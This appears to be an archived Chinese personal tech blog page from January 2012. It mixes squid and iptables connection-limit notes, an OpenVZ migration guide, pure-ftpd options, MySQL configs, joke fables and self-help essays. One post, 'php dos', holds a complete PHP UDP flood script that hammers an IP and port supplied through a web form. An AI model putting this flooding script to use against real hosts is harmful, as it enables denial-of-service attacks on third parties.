工作,学习,生活,这里将会有一些记录. 备用域名:http://meisw.wdlinux.cn 注册 | 登陆
浏览模式: 标准 | 列表2012年01月的文章

squid限制或403

acl IP dstdom_regex  ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$
http_access deny IP


acl denydomain dstdom_regex  www.domain.com$

http_access deny denydomain

把它看完,你一定会有收获

第一课
一个男人在他妻子洗完澡后准备进浴室洗澡。这时,门铃响了。
妻子迅速用浴巾裹住自己冲到门口。
当她打开门时,邻居鲍勃站在那儿。
在她开口前,鲍勃说,“你如果把浴巾拿掉,我给你800美元。”
想了一会儿,这个女人拿掉浴巾赤裸地站在鲍勃面前。几秒钟后,鲍勃递给她800美元然后离开了。
女人重新裹好浴巾回到屋里。
当她踏进浴室时,丈夫问她,“是谁呀?”
“是邻居鲍勃。”她回答。
“哦,”丈夫说,“他有没有提到还欠我800美元?”
故事寓意:
及时与同舟共济的股东分享重要信息,将会避免不必要的曝光。

第二课
一个销售员、一个办事员和他们的经理步行去午餐时发现了一盏古代油灯。
他们摩擦油灯,一个精灵跳了出来。
精灵说:“我能满足你们每人一个愿望。”
“我先!我先!”办事员说,“我想去巴哈马群岛,开着快艇,与世隔绝。”
倏!她飞走了。
“该我了!该我了!”销售员说,“我想去夏威夷,躺在沙滩上,有私人女按摩师,免费续杯的冰镇果汁朗姆酒,还有一生中的最爱。”
倏!他飞走了。
“OK, 该你了。”精灵对经理说。
经理回答:“我要那两个蠢货午饭后马上回来工作!”
故事寓意:
永远让你的老板开口先。

第三课
一只鹰坐在高高的树上休息,无所事事。
一只小兔子看见鹰并且问它,“我能象你一样坐着什么都不干吗?”
鹰回答:“行啊,为啥不行。”
于是,兔子坐在鹰下面的地上休息。突然,一只狐狸出现了,它扑到兔子身上把它吃掉了。
故事寓意:
要想坐着无所事事,你必须坐在非常、非常高的位置。

第四课
一只小鸟飞去南方过冬。天实在太冷了。它冻僵了,掉在一片田野上。
它躺在那儿时,一头母牛走过来在它身上拉了一堆屎。
冻僵的小鸟躺在粪堆里,开始感觉到了温暖。
牛粪确实使它暖和过来了。
它躺在温暖的牛粪中,异常高兴,并开始唱起歌来。
一只过路的猫听到鸟叫赶过来看个究竟。
顺着声音,它发现了牛粪下的小鸟,并迅速把它拖出来吃掉了。
故事寓意:
(1) 并不是每个在你身上拉屎的都是你的敌人。
(2) 并不是每个把你拖出粪堆的都是你的朋友。
(3) 当你深陷粪堆中的时候,最好闭上你的鸟嘴

1)学会 沉默
有时候,你被人误解,你不想争辩,所以选择沉默。本来就不是所有的人都得了解你,因此你认为不必对全世界喊话。却也有时候,你被最爱的人误解,你难过到不 想争辩,也只有选择沉默。全世界都可以不懂你,但他应该懂,若他竟然不能懂,还有什么话可说?生命中往往有连舒伯特都无言以对的时刻,毕竟不是所有的是非 都能条列清楚,甚至可能根本没有真正的是与非。那么,不想说话,就不说吧,在多说无益的时候,也许沉默就是最好的解释。

(2)至少 平静

  在你跌入人生谷底的时候,你身旁所有的人都告诉你:要坚强,而且要快乐。坚强是绝对需要的,但是快乐?在这种情形下,恐怕是太为难你了。毕竟,谁能在跌得 头破血流的时候还觉得高兴?但是至少可以做到平静。平静地看待这件事,平静地把其他该处理的事处理好。平静,没有快乐,也没有不快乐。

  
(3)学会弯腰 这会是我意外的收获

  和别人发生意见上的纷歧,甚造成言语上的冲突,所以你闷闷不乐,因为你觉得都是别人恶意。别再耿耿于怀了,回家去擦地板吧。拎一块抹布,弯下腰,双膝着 地,把你面前这张地板的每个角落来回擦拭干净。然后重新省思自己在那场冲突,所说过的每一句话。现在,你发现自己其实也有不对的地方了,是不是?你渐渐心 平气和了,是不是?有时候你必须学习弯腰,因为这个动作可以让你谦卑。劳动身体的同时,你也擦亮了自己的心绪。而且,你还拥有了一张光洁的地板呢。这是你 的第二个收获。
(4)不要想 如果 当初

  你说,人生是一条有无限多岔口的长路,永远在不停地做选择。如果只是选择吃炒面或炒饭,影响似乎不大,但选择读什么科系、做什么工作、结婚或不结婚、要不 要有孩子,每一个选择都影响深远,而不同的选择也必定造就完全不一样的人生。你又说,生命中不可承受之情,就在于人生没有重来的机会啊。如果当初如何如 何,现在就不会怎样怎样...这种充满怅然的喃喃自语,还是别再多说了吧。每一个岔口的选择其实没有真正的好与坏,只要把人生看成是自己。独一无二的创 作,就不会频频回首如果当初做了不一样的选择。

  

(5)努力吧 不管成功与否 至少曾经美丽

  漫步林间,你看见一株藤蔓附着树干,柔软与坚实相互交缠,你感动于这静美的一幕。让幸福与归属就此驻足吧。你想。不知未来会有怎样一番风雨摧折?也许藤将 断、树会倒,也许天会荒,地将老。你又想。那么,请时光停格在此刻吧。停格即是永恒。永恒里若有这静美的一刻,未来可能遭遇的种种劫难,便已得到了安慰与 报偿。

(6)保持单纯

  因为思虑过多,所以你常常把你的人生复杂化了。明明是活在现在,你却总是念念不忘着过去,又忧心忡忡着未来;坚持携带着过去、未来与现在同行,你的人生当 然只有一片拖泥带水。而单纯是一种恩宠状态。单纯地以皮肤感受天气的变化,单纯地以鼻腔品尝雨后的青草香,单纯地以眼睛统摄远山近景如一幅画。单纯地活在 当下。而当下其实无所谓是非真假。既然没有是非,就不必思虑;没有真假,就无须念念不忘又忧心忡忡。无是非真假,不就像在做梦一样了吗?是呀,就单纯地把 你的人生当成梦境去执行吧。

  

(7)偶尔'俗气'...

  吃多了健康食品,偶尔你也想啃一啃鸭舌头和盐酥鸡。看多了大师名剧,偶尔你也想瞄一瞄耳光摔不完眼泪掉不完的连续剧。听多了古典音乐,偶尔你也想唱一唱爱 他一百年又恨他一万年的流行歌曲。你知道健康食品对健胃整肠有意义,大师名剧对培养气质有意义,古典音乐对提升性灵有意义,可是,偶尔你其实并不想让自己 时时刻刻活得那么有意。人生不需要把自己绑得那么紧。偶尔的小小放纵,是道德的。灵气充满或许接近大人,但偶尔的俗气会更平易近人。

(8)控制情绪 别浪费了~

  今天的你,是不开心的你,因为有人在言语间刺伤了你。你不喜欢吵架,所以你离开;可是你只是离开了那,却没有离开被那人伤害的情境,因此你愈想愈生气。愈 有气,你就愈没有力气去理会别的事情,许多更该用心去做去想去处理的事件,就在你漫天漫地的心烦意乱之中,被轻忽被漠视被省略了。因为,你只是一心一意地 在生气。在情绪上做文章,这是对自己的浪费,而且是很坏的浪费。毕竟,生气也是要花力气的,而且生气一定伤元气。所以,聪明如你,别让情绪控制了你,当你 又要生气之前,不妨轻声地提醒自己一句:“别浪费了。”

  

(9)抓住最好的时机 绝不错过

  你曾经买了一件很喜欢的衣裳却舍不得穿,郑重地供奉在衣柜里;许久之后,当你再看见它的时候,却发现它已经过时了。所以,你就这样与它错过了。你也曾经买 了一块漂亮的蛋糕却舍不得吃,郑重地供奉在冰箱里;许久之后,当你再看见它的时候,却发现它已经过期了。所以,你也这样与它错过了。没有在最喜欢的时候上 身的衣裳,没有在最可口的时候品尝的蛋糕,就像没有在最想做的时候去做的事情,都是遗憾。生命也有保存期限,想做的事该趁早去做。如果你只是把你的心愿郑 重地供奉在心里,却未曾去实行,那么唯一的结果,就是与它错过,一如那件过时的衣裳,一如那块过期的蛋糕。

(10)偶尔的出离轨道

  某次你搭火车打算到A地去,中途却忽然临时起意在B地下了车。也许是别致的地名吸引了你,也许是偶然一瞥的风景触动了你,总之,你就这样改变了本来预定的 行程,然后经历了一场充满惊奇的意外旅行。A地是你原先的目标,B地却让你体会了小小的冒险。回忆起来,你说,那是一次令你难忘的出轨经验。生命中的许多 时候不也如此?心无旁骛地奔赴唯一的目的,不过是履行了原本的行程而已;离开预设的轨道,你才有机会发现其他的风景。

  
(11)悄悄 悄悄地 回归平静..

  曾经有一段时间,你心情低落,甚至懒得拉开窗帘,看着窗外的阳光。因此你当然也忘了去看看,窗台上那一盆每天都需要喝水的玛格丽特。如此不知过了多久,总 算有一天,你度过了心情的低潮,同时也想起了你的玛格丽特。天啊,可怜的花,她还活着吗?你战战兢兢地拉开窗帘,却见她迎风招摇,花颜可掬。原来在过去的 这段日子里,你虽然忘了喂她喝水,老天却没忘了以雨露眷顾她呢。许多事物悄悄地在你的视线之外进行,而且悄悄地安排好了它们自己。天生万物,天养万物,一 切其实无须担心......你只要做的就是做好自己,不留任何遗憾...足矣。

Squid 限制用户并发连接数

在squid.conf 下加如下配置

client_db  on
acl client_10 src 192.168.0.0/32
acl maxconnect maxconn 10
http_access deny client_10 maxconnect

-----------------

squid可以针对连接数进行ip,域名限制:

针对域名设置:
acl ifeng dstdomain img.ifeng.com
acl lianjie maxconn 100
http_access deny ifeng lianjie

针对ip设置
acl client_100 src 192.168.1.100
acl maxconnect maxconn 3
http_access deny client_100 maxconnect

------------------------

maxconn
maxconn ACL 指来自客户IP 地址的大量同时连接。某些squid 管理员发现这是个有用的方法,用以阻止用户滥用代理或者消耗过多资源。
maxconn ACL 在请求超过指定的数量时,会匹配这个请求。因为这个理由,你应该仅仅在deny 规则里使用maxconn。考虑如下例子:
acl OverConnLimit maxconn 4
http_access deny OverConnLimit

在该情况中,squid 允许来自每个IP 地址的同时连接数最大为4 个。当某个客户发起第五个连接时,OverConnLimit ACL 被匹配,http_access 规则拒绝该请求。

 

另外iptables 有一个 connlimit 模块,是匹配每个 IP 并发连接数的 搜了好多文章说2.6.23以后的版本才默认被编译支持了,低于这个版本的得path 因为这个编译比较复杂 所以在外网服务器没有敢测试

#/sbin/modprobe ipt_limit
#iptables -m limit -h

limit v1.3.5 options:
--limit avg                     max average match rate: default 3/hour
                                [Packets per second unless followed by
                                /sec /minute /hour /day postfixes]
--limit-burst number            number to match in a burst, default 5

connlimit v1.3.5 options:
[!] --connlimit-above n         match if the number of existing tcp connections is (not) above n
 --connlimit-mask n             group hosts using mask

允许每个客户机同时两个telnet连接

iptables -p tcp --syn --dport 23 -m connlimit --connlimit-above 2 -j REJECT

iptables 的运作需要两部分
一个是内核部分,一个是用户部分
libipt_connlimit.so 是 iptables 调用要用到的
ipt_connlimit.ko 是内核要用到的
你应该 modprobe ipt_connlimit,若提示有错,证明你的系统不支持,需要 patch
在内核版本2.6.23以前,connlimit都是一个iptables的P-O-M,从2.6.23开始,它正始进入内核。所以我们的iptables在编译时就要使用内核的extention才行

 

php dos

<?php

//=================================================
//PHP DOS v1.8 (Possibly Stronger Flood Strength)
//Coded by EXE
//=================================================

$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time = $_POST['time'];

$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;

 

for($i=0;$i<65535;$i++){
        $out .= "X";
}
while(1){
$packets++;
        if(time() > $max_time){
                break;
        }
       
        $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
        if($fp){
                fwrite($fp, $out);
                fclose($fp);
        }
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>

php命令行,多进程

  1. /** 确保这个函数只能运行在SHELL中 */
  2. if (substr(php_sapi_name(), 0, 3) !== 'cli') {
  3.     die("This Programe can only be run in CLI mode");
  4. }
  5.  
  6. /** 关闭最大执行时间限制, 在CLI模式下, 这个语句其实不必要 */
  7. set_time_limit(0);
  8.  
  9. $pid = posix_getpid(); //取得主进程ID
  10. $user = posix_getlogin(); //取得用户名
  11.  
  12. echo <<<EOD
  13. USAGE: [command | expression]
  14. input php code to execute by fork a new process
  15. input quit to exit
  16.  
  17.         Shell Executor version 1.0.0 by laruence
  18. EOD;
  19.  
  20. while (true) {
  21.  
  22.         $prompt = "\n{$user}$ ";
  23.         $input = readline($prompt);
  24.  
  25.         readline_add_history($input);
  26.         if ($input == 'quit') {
  27.                break;
  28.           }
  29.         process_execute($input . ';');
  30. }
  31.  
  32. exit(0);
  33.  
  34. function process_execute($input) {
  35.         $pid = pcntl_fork(); //创建子进程
  36.         if ($pid == 0) {//子进程
  37.                 $pid = posix_getpid();
  38.                 echo "* Process {$pid} was created, and Executed:\n\n";
  39.                 eval($input); //解析命令
  40.                 exit;
  41.         } else {//主进程
  42.                 $pid = pcntl_wait($status, WUNTRACED); //取得子进程结束状态
  43.                 if (pcntl_wifexited($status)) {
  44.                         echo "\n\n* Sub process: {$pid} exited with {$status}";
  45.                 }
  46.         }
  47. }

 

http://www.laruence.com/2009/06/11/930.html

把物理系统搬入OpenVZ中

OpenVZ真的非常好用,配合上GUI的图形管理很方便,效率也相当好。使用时间长了,一直有个问题困扰着我,就是如何把一些部署在物理服务器上的系统(简称物理系统)搬入OpenVZ中呢?
     OpenVZ默认只提供了几个简单的centos、fedora的模板,虽然官方网站上也提供了大量precreated(预创建)的各种系统模板供使用,但毕竟这些template(模板)都是别人创建的。以前,我就曾写过:[原]创建VPS OS模板的文章,告诉大家如何创建自己的模板。但这还不能满足我的要求,试想想,如果物理系统上已经部署了大量的应用,重新在VPS里面部署、迁移数据,这工作量将是非常庞大的。OpenVZ本身似乎没有提供这样的迁移工具。
     经过查询相关资料,我终于实现了从物理系统到VPS的迁移工作。以下步骤,适用于部署在实际物理服务器上,或VMware、VirtualBox、Xen等虚拟环境中,而物理系统为红旗DC Server 5.0/Asianux 3.0,Centos/RedHat 4.0/5.0,Fedora 7.0/8.0/9.0等操作系统的环境。其余发行版也可参考类似的步骤进行,但因各发行版对配置文件的定义有所差异,需要根据各自的情况进行改动。Debian系列的系统,可以参考底下附录部分的文章处理。

一、准备工作
系统环境:

引用
server1:红旗 DC Server 5.0 192.168.228.99(被迁移系统)
server2:红旗 DC Server 5.0 + OpenVZ 2.6.9-023stab048.4   192.168.228.90(虚拟机HW)


这里,我希望把server1上的物理系统迁移到server2的其中一个VPS中。迁移前,确认:

引用
1、server1上的物理系统可正常运行;
2、server2提供的VPS环境可以支持原server1的操作系统运行,例如核心为2.6.9以上;
3、server1与server2的操作系统应为同一平台,即都为x86或x86_64;
4、server2上已经搭建好OpenVZ环境,最好也把Vtonf等GUI管理配置好;
5、确保server2上有足够的空间供vz使用,建议把/vz作为一个单独分区划分,方便控制磁盘配额等资源。


二、迁移数据
1、创建VPS环境
可以用vzctl create借助模板创建一个VPS环境,然后清空/vz/private/$veid目录。也可以手动创建:

# mkdir /vz/root/101 /vz/private/101
# cat /etc/vz/conf/ve-vtonf.512MB.conf-sample > /etc/vz/conf/101.conf


2、准备拷贝环境
迁移数据的方法有好多,tar、dd、rsync等都可以。我这里使用rsync,所以需要做到:

引用
1、server1和server2两边都已经安装rsync软件包;
2、server1上需提供网络和sshd远程访问;
3、若server1部署了比较多的应用,建议暂时全部停掉;我的做法是,把server1切换到init 1模式,然后启动网络和sshd服务;


3、迁移数据
从server1拷贝数据到server2上:

# rsync -arvpz --numeric-ids --exclude lost+found --exclude /dev --exclude /mnt --exclude /tmp --exclude /proc --exclude /sys --exclude /usr/src --exclude /boot -e "ssh -l root@192.168.228.99" root@192.168.228.99:/ /vz/private/101/


※ 注意,原物理系统上有些目录对于VPS来说是没用的,甚至是有害的,拷贝时请把他们排除
4、设置VPS参数
前面若使用OpenVZ提供的sample配置文件,则还需要对该VPS设置,在server2上执行:

# vzctl set 101 --ostemplate centos-4-i386-default --save
# vzctl set 101 --onboot yes --save
# vzctl set 101 --hostname 101.linuxfly.cn --save
# vzctl set 101 --ipadd 192.168.228.101 --save
# vzctl set 101 --numothersock 120 --save
# vzctl set 101 --nameserver 202.96.134.133 --nameserver 202.96.128.86 --save
# vzctl set 101 --diskspace 10000000:11000000 --save
# vzcpucheck
# vzctl set 101 --cpuunits 40000 --save


这部分的工作,实际是根据今后该VPS运行的情况而设置的,可以参考原来物理系统的配置进行。注意,若修改了网络等参数的话,今后启动VPS后,记得也要修改应用上的设定咯。

三、调整VPS环境
物理系统上的启动与VPS中启动有不少地方是有差异,或冲突的。这也是最重要改动的地方:
1、修改etc/inittab文件

# sed -i -e '/getty/d' /vz/private/101/etc/inittab


2、修改etc/mtab文件

# rm -f /vz/private/101/etc/mtab
# ln -s /proc/mounts /vz/private/101/etc/mtab


3、修改etc/fstab文件
仅保留挂载/dev/pts的哪行:

# cp /vz/private/101/etc/fstab /vz/private/101/etc/fstab.old
# grep devpts /vz/private/101/etc/fstab.old > /vz/private/101/etc/fstab
# rm -f /vz/private/101/etc/fstab.old


4、修改etc/rc.d/rc.sysinit文件
把运行/sbin/start_udev的一行删除或注释掉:

# sed -i -e '/udev/d' /vz/private/101/etc/rc.d/rc.sysinit


5、创建device设备符号

# cd 101
# mkdir dev
# mknod -m 666 dev/ptmx c 5 2
# mkdir dev/pts
# /sbin/MAKEDEV -d /vz/private/101/dev ttyp ptyp
# chmod 660 /vz/private/101/dev/ttyp*
# chmod 660 /vz/private/101/dev/ptyp*
# mknod -m 666 dev/null c 1 3
# mknod -m 666 dev/random c 1 8
# mknod -m 444 dev/urandom c 1 9


6、删除网卡配置文件
因VPS使用虚拟网卡,不再需要启动物理网卡了。你可以修改配置文件中的ONBOOT为no,或直接删掉:

# rm -f /vz/private/101/etc/sysconfig/network-scripts/ifcfg-eth0
# cat /dev/null > /vz/private/101/etc/sysconfig/network


7、创建缺省目录

# mkdir /vz/private/101/proc
# mkdir /vz/private/101/tmp
# chmod 1777 /vz/private/101/tmp


四、启动VPS
启动:

引用
# vzctl start 101
Starting container ...
Container is mounted
Adding IP address(es): 192.168.228.101
Setting CPU limit: 0
Setting CPU units: 1000
Configure meminfo: 32768
Set hostname: 101.linuxfly.cn
File resolv.conf was modified
Setting quota ugidlimit: 0
Container start in progress...
# vzctl enter 101
entered into CT 101


至此,迁移工作全部完成。
您可以进入VPS中看看应用运行是否正常。由于VPS与物理系统环境仍存在一点差异,可能会导致应用启动失败,这需要逐一分析日志解决。最常见的是,提供给VPS的资源不足问题。因物理系统可完全独立获得全部系统资源,而在VPS中,受HW控制资源的分配,这可通过在VPS中:

# cat /proc/user_beancounters


查看failcnt列的信息来判断。然后根据实际情况增加资源即可。

五、参考资料
How To Convert Physical Systems And Xen VMs Into OpenVZ Containers (Debian Etch)
Creating a CentOS 5.0 Template

pure-ftpd的参数设置

-0: 当存在同名文件时,旧版本的文件不被删除或者截断,而是采用临时文件。当整个文件上传完毕之后,才指向新的文件。这个开关选项跟虚拟配额不兼容。
-1: 在系统日志的输出中,记录每个会话( Session )的 PID 。
-4: 只监听 IPv4 的连接
-6: 只监听 IPv6 的连接
-a <gid>: 只有通过认证的用户才可以直接访问它的 home 目录。该选项对没有 shell 的系统用户特别有用。注意,这里的 <gid> 是组的数组,而非字母显示。并且, root 始终对整个文件系统有完整的访问权。
-A: 除了 root 之外,都可以使用 chroot()
-b: 忽略部分 RFC 的标准,以处理完全坏掉的客户端、穿越防火墙或者 NAT 盒
-B: 以标准的方式在后台启动服务器
-c <num>: 允许同时连接的客户端数列。默认是 50
-C <num>: 同一 IP 最大连接数
-d: 在系统日志中记录各种信息,口令不会记入日志中,推荐只有需要 debug 时使用。如果两个 -d ,相应信息也一并记入日志。
-D: 即使当客户端没有使用 -a 选项时,同样列出所有以 ”.” 开头的隐藏文件。不推荐使用。
-e: 只开放匿名用户访问
-E: 只开放认证用户使用,匿名访问被禁止
-f <facility>: 使用指定程序记录系统日志,默认时 ’ftp’ 。如果使用 ’-f none’ 则不记录日志。
-F <fortune file>: 在登陆的时候显示一个 fortune 信息,而不是固定的登陆信息。其中 <fortune file> 是符合 fortune 格式的文本文件,fortune信息之间用'%'号隔开。 这是需要在编译时加入 ’—with-cookie’ 选项。如果仅仅是一个简单的文本文件,则在每次登陆是显示相同的信息。
-g <pid file>: 改变默认 pid 文件的位置。默认是位于 /var/run/pure-ftpd.pid
-G: 不允许重命名
-H: 系统默认是要对 IP 地址进行解析,才记入日志文件中。使用这个选项,则可以避免这样做。从而避免带宽的浪费。
-i: 不论目录的权限设置,匿名用户始终不能进行上传
-I <timeout>: 发呆的时间,以分钟为单位。默认是 15 分钟
-j: 如果用户的 home 目录不存在,就自动创建
-k <percentage>: 当 FTP 服务器占用空间超过规定的百分比,则不能再上传文件了。不用加 ’%
-K: 允许用户 resume 和 upload 文件,但是不可以删除和重命名这些文件。空的文件夹也可以被删除。可以通过 ’-r’ 禁止该选项。
-l <authentication> 或者 -l <authentication>:<config file>: 添加一个新的规则
-L <max files>:<max depth>: 默认的, pure-ftpd 不会显示超过 2000 个文件或者深度大于 5 的路径
-m <cpu load>: 如果 CPU 负载超过指定值,则不运行匿名用户下载。但是上传依然允许
-M: 允许匿名用户创建目录
-n <max files>:<max size>: 如果服务器被编译成支持虚拟配额,则该选项可以约束所有的用户(新任组的用户出外)。其中,最大的文件大小以 M 为单位
-N:NAT 模式,强制 Active 。当 ftp 服务器位于 NAT 、伪装网关或者路由器后面时,如果无法正常访问,可以采用此选项。
-o: 将所有上传的文件写入 ’/var/run/pure-ftpd.upload.pipe’ ,使得 ’pure-uploadscipte’ 程序可以运行。
-O <format>:<log file>: 以指定格式将文件传输记入日志文件中。目前支持的格式包括: CLF 、 Stats 、 W3C 和 xferlog
-p <first port>:<last port>: 包括被动模式在内,服务器只会选择从开始到结束的端口进行监听。
-P <ip address or host name>: 对 PASV 、 EPSV 和 SPSV 命令的相应,强制以指定的 IP 地址或 hostname 相应。
-q <upload ratio>:<download ratio>: 为匿名用户指定上传和下载 ration
-Q <upload ratio>:<download ratio>: 为除了 root 组的用户外的所有人指定上传和下载 ratio 。 root 组的用户没有 ratio 限制
-r: 永远不覆盖已经存在的文件。这是,上传一个已经存在的文件时,会自动为其重命名,入: xyz 、 xyz.1 、 xyz.2 。如果编译时使用 ” make AUTORENAME_REVERSE_ORDER=1” ,则重命名的文件是 1.xyz 、 2.xyz
-R: 即使是非匿名用户(除了 root 之外),也不允许使用 chmod 命令
-s: 不允许匿名用户下载属主是 ftp 的文件(其它匿名用户上传的文件)。这样可以保证必须经过管理员的修改,这些文件才能被匿名用户下载。
-S  绑定到指定的地址和端口。例:
/usr/local/sbin/pure-ftpd -S 21
/usr/local/sbin/pure-ftpd -S 192.168.0.1
/usr/local/sbin/pure-ftpd -S 192.168.0.1,21
/usr/local/sbin/pure-ftpd -S mci.uestc.edu.cn,21
-t <bandwidth> 和 -T <bandwidth>: 带宽限制。 <bandwidth> 是以 k/s 为单位,同时可以指定上传和下载的带宽,支持 [<upload>]:[<download>] 语法
-u <uid>: 禁止 uid 小于 <uid> 的用户登陆。 -u 1 可以禁止 root 用户登陆, -u 100 可以禁止绝大多数系统虚拟用户登陆。
-U <umask for files>:<umask for dirs>: 改变默认的掩码,默认的是 133:022 。如果希望上传的文件只能被上传该文件的用户读,使用 ’-U 177:077’ 。如果希望上传的文件可以被执行,使用 022:022 (文件可以被其它用户读,但是不能写)。 077:077 文件只能被所有者执行或者读。 Pure-ftpd 支持 SITE CHMOD ,使得用户可以被改变自己文件的属性。
-V <ip address>: 只允许在指定地址的非匿名的 FTP 访问。这时,可以将公网 IP 路由到一个指定的内网 IP 地址,或者将新任的 IP 地址路由到指定的内网 IP 地址。
-v <name>: 支持苹果的 Bonjor ,只有当 Bonjor 选择在编译的时候支持是,苹果的 MacOS X 才能有此属性。
-w: 只对认证的用户支持 FXP 协议
-W: 支持 FXP 协议
-x: 默认时,非匿名用户可以读和写以 ’.’ 开头的隐藏文件,而匿名用户则不可以。当该选项指定时,用户只能下载这些文件,但是不能覆盖和创建,即使该用户时是该文件的属主。如果希望是用户可以访问特定的以 ’.’ 开头的文件,可以通过建立该文件的链接(非 ’.’ 开头的文件名)达到目的
-X: 用户除了不能写以 ’.’ 开头的文件,如果使用了该选项,用户不能读这样的文件,也不能进入这样的目录。(当以 ’-a’ 参数启动,受信的用户可以绕开 ’-x’ 和 ’-X’ 的限制)
-y <max user logins>:<max anonymous logins>: 如果编译时加入了 --with-peruserlimits 选项,该选项限制了同一个用户可以同时拥有的 session 数目。空值 ’0’ 意味着没有限制
-z: 允许匿名用户读以 ’.’ 开头的文件和目录
-Z: 避免用户犯简单的错误。当前,该选项可以避免用户错误的使用 chmod 命令,防止他们不能访问自己的文件或者目录。该选项在将来还会有更多的功能。所以,推荐 host 服务器打开该参数

Mysql的几个默认配置

mysql的安装目录里有support-files,里面有几份默认的配置 分别是 huge large medium 等,还有高压力的InnoDB的参考: [root@aslibra support-files]# grep -v ^# my-huge.cnf key_buffer = 384M table_cache = 512 sort_buffer_size = 2M read_buffer_size = 2M read_rnd_buffer_size = 8M myisam_sort_buffer_size = 64M thread_cache_size = 8 query_cache_size = 32M thread_concurrency = 8 [root@aslibra support-files]# grep -v ^# my-large.cnf key_buffer = 256M table_cache = 256 sort_buffer_size = 1M read_buffer_size = 1M read_rnd_buffer_size = 4M myisam_sort_buffer_size = 64M thread_cache_size = 8 query_cache_size= 16M thread_concurrency = 8 [root@aslibra support-files]# grep -v ^# my-medium.cnf key_buffer = 16M table_cache = 64 sort_buffer_size = 512K net_buffer_length = 8K read_buffer_size = 256K read_rnd_buffer_size = 512K myisam_sort_buffer_size = 8M [root@aslibra support-files]# cat my-innodb-heavy-4G.cnf|grep -v ^#|grep -v "^$" back_log = 50 max_connections = 100 max_connect_errors = 10 table_cache = 2048 max_allowed_packet = 16M binlog_cache_size = 1M max_heap_table_size = 64M sort_buffer_size = 8M join_buffer_size = 8M thread_cache_size = 8 thread_concurrency = 8 query_cache_size = 64M query_cache_limit = 2M ft_min_word_len = 4 default_table_type = MYISAM thread_stack = 192K transaction_isolation = REPEATABLE-READ tmp_table_size = 64M log-bin=mysql-bin log_slow_queries long_query_time = 2 log_long_format server-id = 1 key_buffer_size = 32M read_buffer_size = 2M read_rnd_buffer_size = 16M bulk_insert_buffer_size = 64M myisam_sort_buffer_size = 128M myisam_max_sort_file_size = 10G myisam_max_extra_sort_file_size = 10G myisam_repair_threads = 1 myisam_recover 一般情况下,自己根据机器的情况,复制一份到默认的配置文件的位置,替代默认配置 比如纯数据库的机器,有1-2G以上的内存,可以拷贝huge的那份,要不然默认配置效率不高,比如查询时容易用到磁盘做临时文件,这份可以提高内存的使用率。 对比一下几份配置的同一参数: key_buffer = 16M key_buffer = 256M key_buffer = 384M myisam_sort_buffer_size = 8M myisam_sort_buffer_size = 64M myisam_sort_buffer_size = 64M myisam_sort_buffer_size = 128M query_cache_size= 16M query_cache_size = 32M query_cache_size = 64M read_buffer_size = 256K read_buffer_size = 1M read_buffer_size = 2M read_buffer_size = 2M read_rnd_buffer_size = 512K read_rnd_buffer_size = 4M read_rnd_buffer_size = 8M read_rnd_buffer_size = 16M sort_buffer_size = 512K sort_buffer_size = 1M sort_buffer_size = 2M sort_buffer_size = 8M table_cache = 64 table_cache = 256 table_cache = 512 table_cache = 2048 没有细节的技术可以解析,细节信息还是得查资料,这里只是列举对比一下,也许可以提醒大家使用内存和修改配置来优化mysql
Records:18123